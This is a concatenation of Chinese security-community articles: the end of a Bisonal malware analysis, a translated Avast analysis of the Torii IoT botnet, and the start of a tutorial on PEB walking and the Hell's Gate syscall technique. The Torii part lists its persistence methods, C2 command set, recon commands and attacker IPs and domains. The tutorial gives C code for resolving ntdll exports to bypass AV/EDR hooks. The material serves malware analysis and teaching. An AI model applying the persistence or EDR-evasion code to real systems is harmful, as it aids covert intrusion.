诱饵文件的文件名也与dropper文件的文件名有关。Dropper代码会在相同目录下创建一个pdf文件，文件名与诱饵文件名相同，并将扩展名从exe变为pdf。比如，如果文件名为ABCDEFG.pdf.exe，那么诱饵文件的文件名就是pdf.pdf。
Dropper会在`%Temp%`目录下创建2个随机4位数字名的VBS脚本，其中一个脚本会打开诱饵pdf文件，另一个删除dropper和VBS脚本。
诱饵pdf文件的内容是韩国海岸警卫队的工作描述，与韩国海岸警卫队官网上的内容一致。根据pdf文件的元数据，研究人员认为攻击者将官网的附件直接转为pdf文件了。
图8. 诱饵文件的Metadata
## 主EXE
安装的EXE文件与针对俄罗斯企业的Bisonal变种的DLL版本几乎是相同的。EXE文件与DLL文件有三点不同，分别是：
* 自己创建注册表；
* C2域名；
* 目标和攻击活动代码（代号）。
下面是Bisonal EXE的行为分析。
* 会创建注册表`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”mismyou” = %Temp%[random].tmp`来达到驻留的目的。因为DLL的dropper会创建注册表，所以DLL版本不会创建注册表。
* 使用RC4加密算法和key 78563412解密C2域名地址。
* 用含有不完整User Agent字符串（`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322`）的 HTTP POST方法连接`hxxp://games.my-homeip[.]com:443/ks8d[ip address]akspbu.txt`。
* 发送同样的初始信标值`81b2a8977ea31b91`到C2服务器。
* 使用不同的目标或活动代码“pmo”。
* 有相同的后门命令，以`0x000000C8`开头。
* 也检查代码页和shell access中的命令，并将文本从Cyrillic转化为UTF-16编码。
表 4 Bisonal样本总结
# 攻击活动总结
虽然Bisonal恶意软件已经活跃7年了，而且每隔一段时间就会更新一次，攻击者一直使用同样的高级配置。攻击的特点包括：
* 攻击目标为与韩国、俄罗斯、日本的政府、军事和国防行业相关的企业和组织；
* 使用动态DNS作为C2服务器；
* 使用目标和攻击活动的代码与C2通信来记录受害者或攻击活动的链接；
* 将恶意软件伪装成PDF、office文档或Excel文件；
* 使用诱饵文件和恶意PE文件；
* 在一些实例中，含有处理俄语操作系统上的西里尔(Cyril)字符的代码。
针对俄罗斯和韩国的攻击活动中都有上述特征。 | 社区文章 |
# 这次不是Mirai的变种：针对新型Botnet Torii的分析
##### 译文声明
本文是翻译文章，文章原作者 Avast，文章来源：avast.com
原文地址：<https://blog.avast.com/new-torii-botnet-threat-research>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
2018年是Mirai和QBot变种不断涌现的一年。任何一个脚本小子，都可以对Mirai源代码稍作修改，给它起上一个新名称，然后将其作为新的僵尸网络发布。
在过去的一周里，我们一直在监测一个新型的恶意软件，我们称之为Torii。与Mirai和其他目前已知的僵尸网络不同，它使用了一些比较高级的技术。
与绝大多数IoT僵尸网络不同，这一新型的僵尸网络在成功入侵设备之后，会增强其隐蔽性和持久性。它不会像一般的僵尸网络那样，攻击网络中的其他设备，也不会挖掘加密货币。相反，它具有一系列非常全面的功能，可以用于泄露敏感信息。其具有的模块化架构，能使用多层加密通信，获取命令或可执行文件并执行。
此外，Torii可以感染多种架构的设备，并具有良好的兼容性，包括MIPS、ARM、x86、x64、PowerPC、SuperH等，是目前为止我们所见过的兼容范围最广的恶意软件。
由于我们在持续监测这种威胁，根据监测结果，我们发现其自2017年12月以来就开始活动，甚至活动时间可能更早。
最后，我们对[@VessOnSecurity](https://github.com/VessOnSecurity
"@VessOnSecurity")的研究成果表示感谢，他在Twitter上发表了一篇关于该样本的分析，他是从自己的蜜罐上获取到的这一样本。
根据这位安全研究人员的说法，这一僵尸网络从Tor出口节点对他的蜜罐进行了Telnet攻击，因此我们决定将这个僵尸网络命名为Torii。
在本文中，我们重点说明迄今为止对这一僵尸网络的了解，分析其传播过程、各个阶段以及一些重要特征。
目前，针对该僵尸网络的分析仍在进行中，如果有更进一步的调查结果，我们也会及时更新。
接下来，让我们从感染向量开始。
## 对初始Shell脚本的分析
在感染链的开始阶段，首先针对目标设备的弱口令进行Telnet攻击，然后执行初始Shell脚本。这一脚本与IoT恶意软件所经常使用的脚本完全不同，因为它更为复杂。
脚本首先尝试检测目标设备的体系结构，然后尝试下载相应的Payload。Torii支持的体系结构非常多，包括基于x86_64、x86、ARM、MIPS、Motorola
68k、SuperH、PPC的设备，支持多种位宽和字节顺序。这样一来，Torii的感染范围就非常广泛，能够在众多常见的设备上运行。
恶意软件使用多个命令下载二进制Payload，其执行的命令包括：wget、ftpget、ftp、busybox wget和busybox
ftpget。它还同时使用多个命令，使其传递Payload的可能性达到最大。
如果无法使用wget或busybox
wget命令通过HTTP协议下载二进制文件，那么它将会采用FTP协议。使用FTP协议时，需要经过身份验证。在脚本中提供了身份验证信息：
用户名：u=”<redacted>“
密码：p=”<redacted>“
FTP端口：po=404
FTP/HTTP服务器IP地址：104.237.218.85（在本文撰写时，该IP地址仍然存在）
通过连接到FTP服务器，恶意软件能实现大量工作：
完整文件请点击：
<https://cdn2.hubspot.net/hubfs/486579/torii_directory_structure.txt?t=1538013373318>
在服务器中，有来自NGINX和FTP服务器的日志、Payload样本、将被感染设备定向到恶意软件所在主机的Bash脚本等。我们将在本文的最后，讨论从日志中发现的内容。首先，先让我们来分析一下在服务器托管的脚本。
## 第一阶段Payload分析（Dropper）
在脚本确定目标设备的架构之后，就会从服务器下载并执行对应的二进制文件。所有这些二进制文件都是ELF格式。在分析这些Payload时，我们发现它们都非常相似，并且仅仅是第二阶段Payload的Dropper。值得注意的是，它们使用了多种方法使第二阶段能在目标设备上尽可能持久化。我们来深入了解其中的细节。
针对本文，我们分析的是x86的样本，其SHA256哈希值为：
0ff70de135cee727eca5780621ba05a6ce215ad4c759b3a096dd5ece1ac3d378
### 字符串混淆
由于样本经过混淆，我们首先需要尝试对其进行反混淆。因此，我们深入研究了一些文本字符串，以尝试找到该恶意软件的工作方式。第一和第二阶段中的绝大多数文本字符串都是通过简单的XOR方式进行加密的，并且在运行时需要特定字符串对它们进行解密。我们使用以下IDA
Python脚本进行解密：
sea = ScreenEA()
max_size = 0xFF
for i in range(0x00, max_size):
b = Byte(sea+i)
decoded_byte = (b ^ (0xFEBCEADE >> 8 * (i % 4))) & 0xFF;
PatchByte(sea+i,decoded_byte)
if b == 0x00 or decoded_byte == 0x00:
break
e.g. F1 9A CE 91 BD C5 CF 9B B2 8C 93 9B A6 8F BC 00 → ‘/proc/self/exe’
### 安装第二阶段ELF文件
第一阶段的核心功能是安装另一个ELF文件，也就是第二阶段的可执行文件，它包含在第一阶段的ELF文件中。
该文件将会安装在一个伪随机的位置，这个位置是通过组合预先定义好的列表中的内容来生成的，目录列表如下：
"/usr/bin"
"/usr/lib"
$HOME_PATH
"/system/xbin"
"/dev"
$LOCATION_OF_1ST_STAGE
"/var/tmp"
"/tmp"
文件名列表如下：
“setenvi“
“bridged“
“swapper“
“natd“
“lftpd“
“initenv“
“unix_upstart“
“mntctrd“
通过上面的两个列表，就能生成目标文件的路径。
## 确保第二阶段持久化
然后，Dropper需要确保能够执行第二阶段Payload，并会保证其持久化。该恶意软件的独特之处在于它实现持久化的方式非常强大，至少采用了6种方法来确保文件能够保留在设备上，并且持续运行。恶意软件不是从6种方法中选择一种，而是全部都会执行：
（1）通过向~.bashrc中注入代码，实现自动执行；
（2）通过向crontab中添加“[@reboot](https://github.com/reboot "@reboot")”子句，实现自动执行；
（3）通过systemd自动执行“System Daemon”服务，实现自动执行；
（4）通过/etc/init和PATH实现自动执行，将自身伪装成“System Daemon”服务；
（5）通过修改SELinux策略管理，实现自动执行；
（6）通过/etc/inittab实现自动执行。
完成后，它会投放自身内部的ELF，也就是第二阶段的Payload。
## 第二阶段Payload分析（Bot）
第二阶段Payload是一个完整的Bot，能够从其C&C服务器执行命令。在Payload中还包含起其他功能，例如简单的反调试技术、数据泄露、多层通信加密等。
此外，第二阶段中发现的许多功能都与第一阶段Payload相同，这样看来很可能二者都是由同一作者创建的。
针对所有版本，第一阶段Payload中的代码几乎是相同的。然而我们在第二阶段中发现，不同硬件架构的二进制文件之间存在差异。为了能够对大多数版本中的核心功能进行分析，我们选取了x86架构版本的Payload，其SHA256哈希值为：
5c74bd2e20ef97e39e3c027f130c62f0cfdd6f6e008250b3c5c35ff9647f2abe
### 反分析方法
该恶意软件所使用的反分析方法，不如我们在Windows或移动端恶意软件中看到的方法那么先进，但恶意软件作者仍在持续改进这一部分。
（1）在执行后，将会运行60秒的sleep()函数，可能会绕过简单的沙箱；
（2）通过prctl(PR_SET_NAME)调用，将进程名随机化为“[[a-z]{12,17}]”（正则表达式），以避免通过进程名称黑名单检测到该恶意软件；
（3）通过从可执行文件中删除符号，加大分析的难度。
当我们首次从恶意服务器104[.]237.218[.]85下载样本时，所下载的样本都包含符号，这样使得分析过程更为建安。但有趣的是，在几天之后，我们下载的版本中已经不包含符号。除此之外，这两个版本之间没有任何差异。这样一来，我们能够判断，恶意软件作者还在持续改进恶意软件，以保护可执行文件难以被分析。
### C&C服务器
如前文所述，这个组件是一个与C&C服务器通信的Bot。我们使用此前发现用于XOR的密码，对C&C地址再次执行XOR操作，发现似乎每个版本的Torii都包含3个C&C地址。我们所分析的恶意软件，会尝试从以下C&C服务器获取命令：
top[.]haletteompson[.]com
cloud[.]tillywirtz[.]com
trade[.]andrewabendroth[.]com
它尝试与列表中的第一个域名进行通信，如果失败将会转到下一个域名。此外，如果出现失败的情况，它还会尝试通过Google的DNS 8.8.8.8进行域名解析。
自2018年9月15日以来，这三个域名都解析到同一个IP 66[.]85.157[.]90。此外，在同一个IP上托管的其他一些域名也非常可疑：
cloud[.]tillywirtz[.]com
dushe[.]cc
editor[.]akotae[.]com
press[.]eonhep[.]com
web[.]reeglais[.]com
psoriasiafreelife[.]win
q3x1u[.]psoriasiafreelife[.]win
server[.]blurayburnersoftware[.]com
top[.]haletteompson[.]com
trade[.]andrewabendroth[.]com
www[.]bubo[.]cc
www[.]dushe[.]cc
在同一个IP地址，托管了这么多看起来很奇怪的域名，这一点非常可疑。另外，在此之前，C&C域名是解析到另一个不同的IP地址（184[.]95.48[.]12）。
通过更深入的挖掘，我们还发现了另一组属于Torii的ELF样本，其中包括3个不同的C&C地址：
press[.]eonhep[.]com
editor[.]akotae[.]com
web[.]reeglais[.]com
它们在此前都解析到相同的IP地址（184[.]95.48[.]12）。并且，press[.]eonhep[.]com自2017年12月8日就开始解析到这一地址。因此，我们认为该恶意软件至少自2017年12月就开始存在，或者可能存在的时间更长。
### C&C通信
第二阶段通过TCP协议443端口，与这些C&C服务器以及其他加密层进行通信。有趣的是，它使用443端口来迷惑分析人员，因为443是HTTPS端口，而这一恶意软件实际上并没有使用TLS协议进行通信。针对每条消息（包括回复的内容），都会生成一个我们称之为“消息信封”的结构，每个信封都经过AES-128加密，并且其中包含一个MD5校验和，以确保其中的内容没有被修改或损坏。此外，每个信封都包含一条消息流，其中每条消息都通过简单的XOR方法进行加密，这与混淆字符串的加密方式不同。它看起来没有那么强大，因为通信中包含了解密的密钥。
Torii在连接到C&C服务器时，还会发出以下隐私信息：
（1）主机名；
（2）进程ID；
（3）第二阶段可执行文件的路径；
（4）在/sys/class/net/%interface_name%/address中找到的所有MAC地址及其哈希值，这部分内容形成了被感染用户的独有ID，允许恶意软件作者更容易地进行指纹识别和设备标记，这些内容也会同时存储在本地，其文件名诸如：
GfmVZfJKWnCheFxEVAzvAMiZZGjfFoumtiJtntFkiJTmoSsLtSIvEtufBgkgugUOogJebQojzhYNaqyVKJqRcnWDtJlNPIdeOMKP、VFgKRiHQQcLhUZfvuRUqPKCtcrjmhtKcYQorAWhqAuZuWfQqymGnWiiZAsljnyNlocePAOHaKHvGoNXMZfByomZqEMbtkOEzQkQq、XAgHrWKSKyJktzLCMcEqYqfoeUBtgodeOjLgfvArTLeOkPSyRxqrpvFWRhRYvVcLeNtMKTdgFhwrypsRoIiDeObVxTTuOVfSkzgx等；
（5）uname()调用后获得的详细信息，包括sysname、version、release和machine；
（6）特定命令的输出结果，目的是获取目标设备相关的更多信息。
特定命令如下：
id 2>/dev/null
uname -a 2>/dev/null
whoami 2>/dev/null
cat /proc/cpuinfo 2>/dev/null
cat /proc/meminfo 2>/dev/null
cat /proc/version 2>/dev/null
cat /proc/partitions 2>/dev/null
cat /etc/*release /etc/issue 2>/dev/null
### C&C命令
在分析代码的过程中，我们发现Bot组件正在与C&C进行通信，并且会在无限循环中不断轮询，询问C&C服务器是否有任何命令需要执行。在收到命令后，它会回复命令执行的结果。每个消息信封中都包含一个特定值，用于指定其命令的类型，在回复内容中也会附带相同的值。目前，我们发现了如下命令类型：
（1）0xBB32：将文件从C&C存储到本地驱动器
接收：从C&C接收的文件存储到本地的位置、文件、MD5校验和
回复：存储文件的文件路径、错误代码
（2）0xA16D：接收C&C轮询的间隔时间
接收：DWORD与C&C通信之间的暂停（Sleep）时间
回复：代码为66的消息
（3）0xAE35：在Shell解释器中执行特定命令，并将输出结果发回C&C
接收：在Shell中要执行的命令（sh -c “exec COMMAND”）、间隔时间（以秒为单位，最大为60）、带有Shell解释器路径的字符串（可选）
回复：包含命令执行内容的输出结果（stdoout+stderr）
（4）0xA863：将文件从C&C存储到特定路径，并将其标志更改为“rwxr-xr-x”使其可执行，然后执行
接收：从C&C接收的文件存储到本地的位置、文件、MD5校验和
回复：存储文件的文件路径、执行该文件后的返回代码
（5）0xE04B：检查本地系统上是否存在特定文件，并返回其大小
接收：要检查的文件路径
回复：文件路径、文件大小
（6）0xF28C：从所选文件F的偏移量O处读取N个字节，并将其发送到C&C服务器
接收：要读取文件（F）的文件路径、QWORD偏移量（O）、DWORD要读取的字节数（N）
回复：文件内容、偏移量、读取的字节大小、读取内容的MD5校验和
（7）0xDEB7：删除指定的文件
接收：要删除的文件名
回复：错误代码
（8）0xC221：从特定URL下载文件
接收：存储文件的路径、URL
回复：存储文件的路径、URL
（9）0xF76F：获取新C&C服务器地址，并开始与其进行通信
接收：？、新域名、新端口号、？
回复：？、新域名、新端口号、？
（10）0x5B77/0x73BF/0xEBF0（可能还有其他代码）：在目标设备上执行Ping或者获取心跳包
接收：特定内容
回复：重复收到的信息
## 对二进制文件sm_packed_agent的分析
在我们对服务器进行分析时，还发现了另一个有趣的二进制文件，我们设法从FTP服务器杉获取了名为“sm_packed_agent”的二进制文件。我们目前没有在服务器上发现这一二进制文件已经被使用的证据，但通过对其功能进行分析，发现它可以用于向目标设备发送任何远程命令。该二进制文件中包含一个使用UPX加壳的GO语言应用程序，其中包含一些有趣的字符串，表明它具有类似于副武器的功能：
### 使用的第三方库
该二进制文件，使用了以下第三方库：
<https://github.com/shirou/gopsutil/host>
<https://github.com/shirou/gopsutil/cpu>
<https://github.com/shirou/gopsutil/mem>
<https://github.com/shirou/gopsutil/net>
### 可能的源代码名称
其可能的源代码名称如下：
/go/src/Monitor_GO/agent/agent.go
/go/src/Monitor_GO/sm_agent.go
其中，可能有一些库滥用了BSD许可证。显然，Torii的作者并不关注侵权问题。
### 功能
sm_agent的功能如下：
（1）在cmdline –p上使用一个带有端口号的参数；
（2）初始化加密，加载TLS、密钥和证书；
（3）创建服务器，并监听TLS连接；
（4）等待以BSON格式编码的命令；
（5）使用命令处理程序，对命令进行处理：
1: Monitor_GO_agent__Agent_GetSystemInfo
2: Monitor_GO_agent__Agent_GetPerformanceMetrics
7: Monitor_GO_agent__Agent_ExecCmdWithTimeout
TLS加密、证书和密钥：
（1）Agent使用ChaCha20-Poly1305流密码进行TLS加密；
（2）同一目录下的密钥和证书；
（3）自签名的授权证书ca.crt，签名为Mayola Mednick；
（4）由ca.crt为Dorothea Gladding发布的client.crt；
（5）由ca.crt为Graham Tudisco发布的server.crt和server.key。
由于证书是自签名的，所以使用的名称也显然是虚假的。
Start-agent.sh：
该脚本将会首先终止任何先前启动的sm_packed_agent实例，然后在TCP协议45709端口上运行sm_packed_agent，当出现运行失败的情况会尝试重新运行。
目前，还暂时不清楚Torii作者是如何使用的这项服务，但它非常通用，可以在设备上运行几乎任何命令。因为这应用程序是使用GO语言编写的，所以可以非常容易地重新编译，从而在几乎任何架构上使用。考虑到该文件是在恶意软件分发的主机上运行，说明它很可能是后门，或者是用于组织多台机器的服务。
## 恶意服务器日志分析
最后，我们分析了从Nginx服务器和FTP服务器（104[.]237.218[.]85）上发现的日志。通过这些访问日志，我们可以推断出Torii实际感染了多少客户端，或者有多少客户端试图下载该恶意软件。
在我们撰写此文章时，Torii的作者已经禁用了FTP和Nginx日志记录，但是根据已有的日志，我们可以生成一些简单的统计信息。
根据服务器上面的日志，在9月7日、8日、19日和20日，共有206个IP连接到服务器。
Access-2018-09-07.log – 包含54个不同的IP地址
Access-2018-09-08.log - 包含20个不同的IP地址
Access-2018-09-19.log - 包含189个不同的IP地址
Access-2018-09-20.log - 包含10个不同的IP地址
其中，有一个IP地址38[.]124.61[.]111连接该服务器的次数达到了1056393次。
通过查看日志，似乎有人使用了DirBuster-1.0-RC1，尝试分析该服务器的内部结构。事实上，DirBuster通常用于猜测Web服务器的目录和文件名，并且会生成大量请求。其实，这次扫描是完全没有必要的，因为针对Torii这样复杂的恶意软件，有更加有效的方法。
通过扫描38[.]124.61[.]111的端口，我们可以发现有下面几个端口是开启的：
在27655端口上，有一个SSH Banner，其内容为：
SSH-2.0-OpenSSH_7.4p1 Raspbian-10+deb9u3
看上去，这个盒子正在运行Raspbian。
除此之外，我们还可以对FTP服务器日志进行分析。
分析发现，有几个客户端曾连接，并下载了一些没有位于FTP服务器上的文件：
Sat Sep 8 08:31:24 2018 1 128.199.109.115 6 /media/veracrypt1/nginx/md/zing.txt b _ o r md ftp 0 * c
根据我们分析的日志内容，总共有592个不同的客户端，在几天时间之内从该服务器下载文件。需要提醒大家的是，一旦目标设备收到Payload，就会停止连接到下载服务器，转为连接到C&C服务器。因此，我们通过该日志，就可以看到这些日志记录的时间段范围内，有多少网络中的新设备感染了这一恶意软件。
此外，有8个客户端同时使用了HTTP服务器和FTP服务器，这可能是由于HTTP方式下载失败，或是Torii作者在测试Bash脚本和服务器的功能。
由于没有证据，我们无法做出更多的推测。这台服务器可能只是众多感染目标连接的服务器之一，要揭示这个僵尸网络的真实规模，还需要进一步的调查。考虑到所分析的恶意软件的复杂程度，我们认为它可能是为了控制大量不同类型的设备而设计的。
## 结论
尽管我们的研究仍在继续，但目前的结论已经表明，Torii是物联网恶意软件发展过程中的一个重要样本，它的复杂程度已经高于我们此前看到的水平。一旦它感染了某个设备，不仅会泄露设备自身的一些敏感信息，还会通过与C&C的通信允许Torii作者执行任意代码或传递任何Payload。这样一来，Torii就成为了一个可供今后持续使用的模块化平台。此外，由于Payload自身不会扫描其他目标，因此它在网络上非常隐蔽。
我们还将持续进行研究，并及时披露新发现的成果。 | 社区文章 |
# 从学习Windows PEB到Hell's Gate
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
地狱之门技术相对来说已经算比较老的技术了，各种Dinvoke的框架中实际上也是借鉴了这种思路，最近这段时间想要研究下一些其他绕过AV/EDR的常见手段，其中就包括系统调用(syscall)和sRDI技术，但是发现对于PEB的了解比较少，借此学习下PEB的相关属性和围绕PEB能够展开的相关技术。
## 0x02 PEB的一些数据结构了解
进程环境块是一个从内核中分配给每个进程的用户模式结构,每一个进程都会有从ring0分配给该进程的进程环境块，后续我们主要需要了解`_PEB_LDR_DATA`以及其他子结构
找到一张非常好的图:
> 这张图是x86系统的结构体，可以看到PEB是在fs寄存器的0x30的偏移处，因此是x86的结构体
继续借助上图，可以看到在PEB结构偏移`0xc`处有一个LDR结构体,该结构体包含有关为进程加载的模块的信息（存储着该进程所有模块数据的链表），可以参考[MSDN](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)
很多时候通常的思路是通过TEB找到PEB中的LDR结构体，在该结构体中存在着 **3处双向链表** :
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0xc
struct _LIST_ENTRY InMemoryOrderModuleList; //0x14
struct _LIST_ENTRY InInitializationOrderModuleList; //0x1c
VOID* EntryInProgress; //0x24
UCHAR ShutdownInProgress; //0x28
VOID* ShutdownThreadId; //0x2c
};
分别代表 **模块加载顺序，模块在内存中的加载顺序以及模块初始化装载的顺序**
`_LIST_ENTRY`的结构定义如下:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
该图为对于这三个双向链表给出的解释:
每个双向链表都是指向进程装载的模块，结构中的每个指针，指向了一个`LDR_DATA_TABLE_ENTRY`的结构：
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks; //0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x8
struct _LIST_ENTRY InInitializationOrderLinks; //0x10
VOID* DllBase; //0x18 模块基址
VOID* EntryPoint; //0x1c
ULONG SizeOfImage; //0x20
struct _UNICODE_STRING FullDllName; //0x24 模块路径+名称
struct _UNICODE_STRING BaseDllName; //0x2c 模块名称
...
};
因此在这里可以看到模块的名称以及DLL基址等信息
## 0x03 代码层面熟悉PEB的相关调用
关于如何得到偏移，微软内部函数已经提供了相关API来检索32位或者64位的PEB:
* [__readgsqword](https://docs.microsoft.com/en-us/cpp/intrinsics/readgsbyte-readgsdword-readgsqword-readgsword?view=msvc-170&viewFallbackFrom=vs-2019)
* [__readfsqword](https://docs.microsoft.com/en-us/cpp/intrinsics/readfsbyte-readfsdword-readfsqword-readfsword?view=msvc-170&viewFallbackFrom=vs-2019)
下面通过一段简单的代码可以得到关于Ntdll的相关信息:
#include <iostream>
#include "peb.h"
int main()
{
PPEB Peb = (PPEB)__readgsqword(0x60); //PEB 可以通过x86_64:gs寄存器偏移96(0x60) x86:fs寄存器偏移0x48(0x30) 定位
PLDR_MODULE pLoadModule;
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
printf("%ws\r\n", pLoadModule->FullDllName.Buffer);
}
在上述代码中我们首先通过位于0x60的指向GS寄存器的指针检索到当前进程的PEB，我们访问LDR结构体，并且并向前链接到第二个内存顺序模块
> 需要注意的是，在我们的正向链接中，我们从Flink中减去16字节，以确保我们正确对齐（这16字节对齐必须在32位和64位进程中都出现）
这里减去0x10移动指针到结构体顶端，防止模块信息显示错误,否则将会:
大多数情况下NTDLL模块会是第二个内存模块，kernel32dll将会是第三个内存模块，在这里我们可以通过如下程序来遍历进程所有在内存中加载过的模块以及基址:
#include <iostream>
#include "peb.h"
int main()
{
PPEB Peb = (PPEB)__readgsqword(0x60); //PEB 可以通过x86_64:gs寄存器偏移96(0x60) x86:fs寄存器偏移0x48(0x30) 定位
PLDR_MODULE pLoadModule;
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 0x10);
PLDR_MODULE pFirstLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 0x10);
do
{
printf("Module Name:%ws\r\nModule Base Address:%p\r\n\r\n", pLoadModule->FullDllName.Buffer,pLoadModule->BaseAddress);
pLoadModule = (PLDR_MODULE)((PBYTE)pLoadModule->InMemoryOrderModuleList.Flink - 0x10);
} while ((PLDR_MODULE)((PBYTE)pLoadModule->InMemoryOrderModuleList.Flink -0x10) != pFirstLoadModule);
}
掌握这一点后现在我们知道如何获取内存模块的基址，因此我们有能力遍历模块的导出地址表,这就涉及到通过该基址去遍历PE头文件从而获取导出地址表，可以将其分为四个步骤:
* 1.获取每个模块的基地址
* 2.获取`_IMAGE_DOS_HEADER`，并通过检查`IMAGE_DOS_SIGNATURE`来验证正确性
* 3.遍历`_IMAGE_NT_HEADER`、`_IMAGE_FILE_HEADER`、`_IMAGE_OPTIONAL_HEADER`
* 4.在`_IMAGE_OPTIONAL_HEADER`中找到导出地址表，并将类型转为`_IMAGE_EXPORT_DIRECTORY`
在获得导出表之前我们还需要知道PE文件头的详细数据结构:
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; //PE文件头标志 => 4字节
IMAGE_FILE_HEADER FileHeader; //标准PE头 => 20字节
IMAGE_OPTIONAL_HEADER32 OptionalHeader; //扩展PE头 => 32位下224字节(0xE0) 64位下240字节(0xF0)
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
因此当我们得到PE头时，便可以通过如下代码最终将`OptionalHeader`转为`IMAGE_EXPORT_DIRECTORY`得到最终的导出表:
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return 1;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
当我们得到`NT_Header`时,由于PE头文件的数据结构已经给出，其前四个字节为一个DWORD类型的`Signature`，因此加上这四个字节就会得到`FileHeader`，然后在此基础上加上FileHeader数据结构所占大小最终得到`Optional`，只需要将其类型转为`_IMAGE_EXPORT_DIRECTORY`就得到了我们的导出地址表,再通过:
* 1.FunctionNameAddressArray 一个包含函数名称的数组
* 2.FunctionOrdinalAddressArray 充当函数寻址数组的索引
* 3.FunctionAddressArray 一个包含函数地址的数组
可以实现遍历模块中的导出表的所有有名称导出函数:
int GetPeHeader()
{
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return 1;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable-> AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
}
}
得到NTDLL的导出函数以及地址
## 0x04 何为地狱之门
到这里就需要引入地狱之门的概念了，首先让我们观察正常的NTDLL的函数对应的汇编代码:
NTDLL再进入Ring0执行函数内核部分前将验证当前的线程执行环境是x64还是x86,通过对`ShareUserData+0x308`的后续测试说明了这一点。随后如果确定执行环境是基于x64则会通过`syscall`执行系统调用,否则会执行函数返回，而在此之前都会给eax寄存器一个系统调用号并且该调用号不同版本的Windows是不一样的:
[https://j00ru.vexillium.org/syscalls/nt/64/](https://)可以对该号进行查询
我们再来看一个被上钩的NTDLL的汇编:
`ZwMapViewOfSection`上的Hook是很明显的（jmp \<offset\>指令，而不是mov r10,
rcx）。而`ZwMapViewOfSection`的邻居`ZwSetInformationFile和NtAccessCheckAndAuditAlarm`是干净的，它们的系统调用号分别是0x27和0x29。
系统调用被定义为WORD类型（16位无符号整数），并存储在EAX寄存器中，并且实际上我们是能够动态获得系统调用号的,以`NtOpenProcess`为例:
这也就是地狱之门的原理所在，通过直接读取进程第二个导入模块即NtDLL，解析结构然后遍历导出表，根据函数名Hash找到函数地址，将这个函数读取出来通过`0xb8`这个操作码来动态获取对应的系统调用号，从而绕过内存监控，在自己程序中执行了NTDLL的导出函数而不是直接通过`LoadLibrary`然后`GetProcAddress`
## 0x05 代码层面解析
现在我们通过作者给出的示例代码来逐步解析`hell's Gate`的实现过程
在实现过程中需要定义一个与syscall相关联的数据结构:`_VX_TABLE_ENTRY`事实上每一个系统调用都需要分配这样一个结构,结构体定义如下:
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
